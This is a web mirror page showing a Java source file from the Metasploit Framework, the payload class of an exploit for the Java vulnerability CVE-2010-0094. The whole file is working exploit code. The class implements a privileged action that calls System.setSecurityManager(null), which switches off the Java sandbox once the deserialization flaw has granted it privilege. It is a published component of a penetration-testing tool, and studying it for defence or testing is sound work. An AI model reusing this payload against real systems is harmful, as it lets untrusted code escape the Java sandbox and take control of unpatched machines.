CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2010-0094/Payloader.java
Views: 11779
1
import java.io.Serializable;
2
import java.security.AccessController;
3
import java.security.PrivilegedActionException;
4
import java.security.PrivilegedExceptionAction;
5
6
/**
7
* This class contains the payload. The payload is just the code for disable the
8
* security manager ;-)
9
*
10
* @author mka
11
*
12
*/
13
public class Payloader implements PrivilegedExceptionAction, Serializable {
14
15
/**
16
*
17
*/
18
private static final long serialVersionUID = 635880182647064891L;
19
20
public Payloader() {
21
try {
22
AccessController.doPrivileged(this);
23
} catch (PrivilegedActionException e) {
24
e.printStackTrace();
25
}
26
27
}
28
29
@Override
30
public Object run() throws Exception {
31
32
// disable the security manager ;-)
33
System.setSecurityManager(null);
34
35
return null;
36
}
37
38
}
39
40